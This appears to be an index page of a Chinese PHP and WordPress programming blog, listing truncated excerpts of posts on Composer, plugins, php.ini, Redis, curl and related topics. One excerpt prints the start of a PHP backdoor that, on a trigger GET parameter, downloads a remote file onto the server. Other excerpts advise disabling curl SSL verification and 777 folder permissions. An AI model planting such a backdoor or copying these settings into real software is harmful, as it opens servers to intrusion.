PHP如何使用Composer来自动加载项目文件?

Composer是PHP的依赖管理工具。它允许您声明您的项目所依赖的库, 并且它将为您管理 (安装/更新) 它们。它以每个项目为基础管理它们, 并将它们安装在项目内的目录 (如 vendor) 中. 默认情况下, 它不会在全局范围内安装任何内容。因此, 它是一个依赖关系管理器。 下载composer.phar文件,即可在任意操作系统上通过PHP运行软件包工具,更新时可直接重新下载文件; https
PHP如何使用Composer来自动加载项目文件?

如何快速地将WordPress文章内所有外部图片转换为本地链接?

nicen-localize-image(Wordpress后台搜索安装插件),是一款用于本地化文章外部图片的插件,支持如下功能: 文章发布前通过编辑器插件本地化 文章手动发布时自动本地化 文章定时发布时自动本地化 针对已发布的文章批量本地化。 Github:https://github.com/friend-nicen/nicen-localize-image Gitee:https://git
如何快速地将WordPress文章内所有外部图片转换为本地链接?

WordPress主题开发,如何修改自带的邮件发送功能?

今天收到两条评论,发现没有收到邮件通知,转念一想自己也没设置过邮件相关的配置,查了一下文档发现wordpress是通过wp_mail函数发送邮件的。 打开wordpress源码文件 ,定位到wp_mail函数: <?php //255行代码如下 global $phpmailer; // (Re)create it, if it\'s gone missing. if ( ! ( $phpma
WordPress主题开发,如何修改自带的邮件发送功能?

WordPress插件开发,从入门到精通。

WordPress主题开发:https://nicen.cn/1244.html WordPress插件开发手册:https://developer.wordpress.org/plugins/ 每次WordPress 网页请求,都会依次执行各种插件的主文件(PluginName.php), 然后才会执行主题的function.php 文件。执行时注册的各种钩子,将会在指定事件发生时触发执行。 W
WordPress插件开发,从入门到精通。

WordPress免费主题:Document,让阅读变得更加方便

😁作为一个程序员,在日常的工作、生活、学习的过程中基本都有很多需要做笔记的地方;做笔记的主要目的之一是为了“温故而知新”,另一个则是为了在下一次遇到的时候,不需要再次耗费精力去找解决方法; 回顾自己之前写的那个主题,不管是写还是查都不怎么方便,最终下定决心重写一个主题;以 “方便记、方便查、简约”作为设计核心; Github:https://github.com/friend-nicen/them
WordPress免费主题:Document,让阅读变得更加方便

如何解决改了php.ini中的open_basedir之后仍然报open_basedir restriction错误的问题?

今天PHP突然报open_basedir restriction错误,改了php.ini还是报错,于是百度查了查,总结如下: 原来LNMP1.2的防跨目录由原来在php.ini中设置 移至网站根目录下的 .user.ini 进行控制。所以要修改open_basedir的目录,得修改网站根目录下的 .user.ini .user.ini文件无法直接修改 如要修改,需要先执行:chattr -i /网
如何解决改了php.ini中的open_basedir之后仍然报open_basedir restriction错误的问题?

PHP编译参数configure配置详解,以及php.ini说明

人,有了物质才能生存;人,有了理想才谈得上生活。 因为现在都是宝塔、lnmp这些自动进行配置的,这个知识点平常很少需要用到,但了解一下,确实能让一些问题豁然开朗。 ./configure -h 在源代码目录中,该命令可以查看所有编译参数以及对应的英文解释 --prefix=/opt/php //指定 php 安装目录 --with-apxs2=/usr/local/apache/bin/apxs
PHP编译参数configure配置详解,以及php.ini说明

PHP解析Xml:SimpleXML类学习笔记

SimpleXML 是 PHP 5 中的新特性。SimpleXML 扩展提供了一种获取 XML 元素的名称和文本的简单方式。与 DOM 或 Expat 解析器相比,SimpleXML 仅仅用几行代码就可以从 XML 元素中读取文本数据。SimpleXML 可把 XML 文档(或 XML 字符串)转换为对像; 元素被转换为 SimpleXMLElement 对象的单一属性。当同一级别上存在多个元素时
PHP解析Xml:SimpleXML类学习笔记

mysql锁机制学习笔记,持续记录

Mysql中锁的分类按照不同类型的划分可以分成不同的锁,按照「锁的粒度」划分可以分成:表锁、页锁、行锁;按照思想的划分:「乐观锁」和「悲观锁」。 行级锁定最大的特点就是锁定对象的粒度很小,也是目前各大数据库管理软件所实现的锁定颗粒度最小的。由于锁定颗粒度很小,所以发生锁定资源争用的概率也最小,能够给予应用程序尽可能大的并发处理能力而提高一些需要高并发应用系统的整体性能。 mysql中使用行级锁定的
mysql锁机制学习笔记,持续记录

PHP安装、使用Redis,学习笔记。

Redis相关知识:https://www.runoob.com/redis/redis-tutorial.html Github:https://github.com/phpredis/phpredis#close Redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合)。 string 是 redis 最
PHP安装、使用Redis,学习笔记。

PHP Swoole学习笔记,持续记录

PHPStorm Swoole代码提示:https://plugins.jetbrains.com/plugin/13040-swoole-ide-helper/versions PHP swoole代码提示,类型包:https://github.com/swoole/ide-helper 匿名函数(Anonymous functions),也叫闭包函数(closures),允许 临时创建一个没有
PHP Swoole学习笔记,持续记录

详细了解 Cookie、Session、Token以及oauth2、jwt

很久很久以前,Web 基本上就是文档的浏览而已,既然是浏览,作为服务器,不需要记录谁在某一段时间里都浏览了什么文档。 每次请求都是一个新的 HTTP 协议,就是请求加响应,尤其不用记住是谁刚刚发了 HTTP 请求,每个请求相对来说都是全新的。 但是随着交互式 Web 应用的兴起,像在线购物网站和需要登录的网站等就面临一个问题,那就是要管理会话,必须记住哪些人登录系统,哪些人往自己的购物车中放商品。
详细了解 Cookie、Session、Token以及oauth2、jwt

理解PHP MVC,以及NPM、YARN命令的相关说明

MVC,在我印象中最典型的、自己用的多的当属THinkPHP。 MVC包括控制器(Controller),模型(Model),视图(View)。 控制器的作用是调用模型和 视图,将模型产生的数据传递给视图,并让视图去显示 模型的作用是获取数据并处理返回数据 视图的作用是将取得的数据进行美化,并向用户终端输出 1. 浏览者 -> 调用控制器,发出指令 2. 控制器 -> 按指令选择合适的
理解PHP MVC,以及NPM、YARN命令的相关说明

PHP允许前端跨域请求的相关请求头设置、文件下载

CORS 请求分成两类:简单请求(simple request)和非简单请求(not-so-simple request)。 PHP中的 header 函数用于设置响应头。 当POST数据为JSON,必须允许请求头才能跨域访问,因为Content-type:application/json; 默认是不允许跨域的。 header(\'Access-Control-Allow-Origin: *\');
PHP允许前端跨域请求的相关请求头设置、文件下载

PHP批量识别Nginx网站日志内的百度真假爬虫记录

通过分析网站日志可以统计出百度的真实抓取次数、分析抓取情况。 网站一般都有一定的反爬虫机制,但是为了正常收录会通过UA排除百度的爬虫,也就导致了很多做采集、爬虫的人冒充百度爬虫UA用以越过反爬虫机制。 逐条分析每一条日志,筛选出百度爬虫的日志,再通过exec函数执行nslookup命令反向解析IP获取解析的域名,域名中包括baiduspider关键词的就是真的百度爬虫。 下载PHP脚本(百度网盘)
PHP批量识别Nginx网站日志内的百度真假爬虫记录

Swoole 学习:协程、线程、IO多路复用、PHP多进程。

回顾自己学的操作系统原理,线程分为系统级线程和用户级线程(线程是调度单位、进程是资源分配单位) 系统级:调度由操作系统控制,线程之间的切换是系统层面; 用户级:程序内的类似老大一样的程序控制着所有的线程,切换是在程序内完成,相比系统级的线程切换更快,基本不消耗资源; 不同在哪呢?系统级线程的分配的时间片(由操作系统分配的运行时间)是1比1的,创建10个就是10个量级。用户级线程则是共享着所属进程的
Swoole 学习:协程、线程、IO多路复用、PHP多进程。

PHP批量压缩整站图片的小工具

在保证图片质量的前提下,批量压缩整个网站目录下所有图片的大小。 说明:使用前请先到https://tinypng.com/developers,邮箱注册获取Apikey,每月免费压缩500次(邮箱一大堆换着来就行); 首先点这里(百度网盘)下载PHP脚本,提取码8888,脚本默认是扫描所在目录和所在目录的子目录下的所有图片文件进行压缩。编辑compress.php,找到下面两行代码。 /*设置ke
PHP批量压缩整站图片的小工具

PHP编程遇到过的细节问题(总结)

习惯本地开发调试了,忘记了127.0.0.1只能是本地,监听所有IP要监听 0.0.0.0。 use语句只在它所声明的物理文件内有效,use定义别名之后,无法使用之前的名字。 use,给命名空间定义一个别名,用于简化复杂的命名空间调用。use abc as d,调用d下面的类、函数、常量等成员时  dson(); use,从命名空间引入类,引入后可直接使用,不需要前缀(引入时可以定义别名)。use
PHP编程遇到过的细节问题(总结)

POST 提交数据的时候参数有哪些类型?

1. HTTP 协议是以 ASCII 码 传输,建立在 TCP/IP 协议之上的应用层规范。规范把 HTTP 请求分为三个部分:状态行、请求头、消息主体。 2. 协议规定 POST 提交的数据必须放在消息主体(entity-body)中,但协议并没有规定数据必须 使用什么编码方式 。实际上,开发者完全可以自己决定消息主体的格式,只要最后发送的 HTTP 请求满足上面的格式就可以。 3. 数据发送出
POST 提交数据的时候参数有哪些类型?

编程日记:PHP实用函数记录(二)

匿名函数(Anonymous functions),也叫闭包函数(closures),允许 临时创建一个没有指定名称的函数。最经常用作回调函数 callable参数的值。 闭包的概念等同于JS里的闭包。可在函数内进行定义赋值 匿名函数目前是通过 Closure 类来实现的。闭包函数也可以作为变量的值来使用。PHP 会自动把此种表达式转换成内置类 Closure 的对象实例。把一个 closure
编程日记:PHP实用函数记录(二)

PHP魔术方法一览以及使用方法汇总

魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩子,利用模式方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。魔术方法很多还是成对出现的,以下列出目前PHP中所有的模式方法。 __constuct构建对象的时被调用; __destruct明确销毁对象或脚本结束时被调用; __set当给不可访问或不存在属性赋
PHP魔术方法一览以及使用方法汇总

一段简单的PHP后门代码,什么都能干

这是最简单的、也是最容易发现的一种实现了,PHP后门种类繁多,真是防不胜防。 if($_GET==\"ok\"){ echo \'OK\'; function downFile($url,$path){ $arr=parse_url($url); $fileName=basename($arr); $file=file_get_contents($url); } downFil
一段简单的PHP后门代码,什么都能干

编程日记:PHP实用函数记录

sleep(sec) 函数延迟执行当前脚本若干秒。 usleep(micro) — 以指定的微秒数延迟执行。 time_nanosleep(sec,na) — 延缓执行若干秒和纳秒。 time_sleep_until(timestamp) — 使脚本睡眠到指定的时间为止。 set_time_limit(int $seconds) — 设置允许脚本运行的时间,单位为秒。如果超过了此设置,脚本返回一个
编程日记:PHP实用函数记录

实战记录—PHP使用curl出错时输出错误信息

踩过的坑,实在不想再踩了,记录记录。 curl_exec($ch);//执行curl if (curl_errno($ch)) { echo \'Curl error: \' . curl_error($ch);//出错输出错误 } curl_close($ch);//关闭curl 同理,像正则,Json,数据库这些出错时基本都会有提供有帮助的错误信息 CURL状态码列表 状态码 状态原因 解释 0
实战记录—PHP使用curl出错时输出错误信息

完美解决PHP使用curl返回空白

这个问题遇到好几次了,自己不长记性一直没记住,每次遇到了才想起来。 curl一切正常,就是返回数据时什么都没有,空白,解决思路:   检查是否是数据源的问题,使用HTTP工具请求一次,对方正常,我这也没被禁止访问。   那就是SSL的问题了,如下 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);//禁止 cURL 验证对等证书 curl_setopt
完美解决PHP使用curl返回空白

Thinkphp6学习笔记,持续记录

由此开始:https://www.kancloud.cn/manual/thinkphp6_0/1037479 目录结构:https://www.kancloud.cn/manual/thinkphp6_0/1037483 伪静态设置:https://www.kancloud.cn/manual/thinkphp6_0/1037488 Thinkphp网址导航:http://sites.think
Thinkphp6学习笔记,持续记录

PHP-FPM性能优化配置方法参考

pm、pm.max_children、pm.start_servers、pm.min_spare_servers、pm.max_spare_servers。 pm:表示使用那种方式,有两个值可以选择,就是static(静态)或者dynamic(动态)。 在更老一些的版本中,dynamic被称作apache-like。这个要注意看配置文件的说明。 下面5个参数的意思分别为: pm = dynamic
PHP-FPM性能优化配置方法参考

彻底解决wordpress安装主题或插件需要FTP问题

使用FTP或者SFTP软件(推荐xftp5)连接网站文件目录,进入wp-content目录,新建tmp文件夹,设置文件夹的权限为777 下载:在FTP中打开网站根目录,找到wp-config.php这个PHP文件,下载到本地 修改:在wp-config.php中添加下列代码: /* WordPress的临时目录。*/ define(\'WP_TEMP_DIR\', ABSPATH.\'wp-conten
彻底解决wordpress安装主题或插件需要FTP问题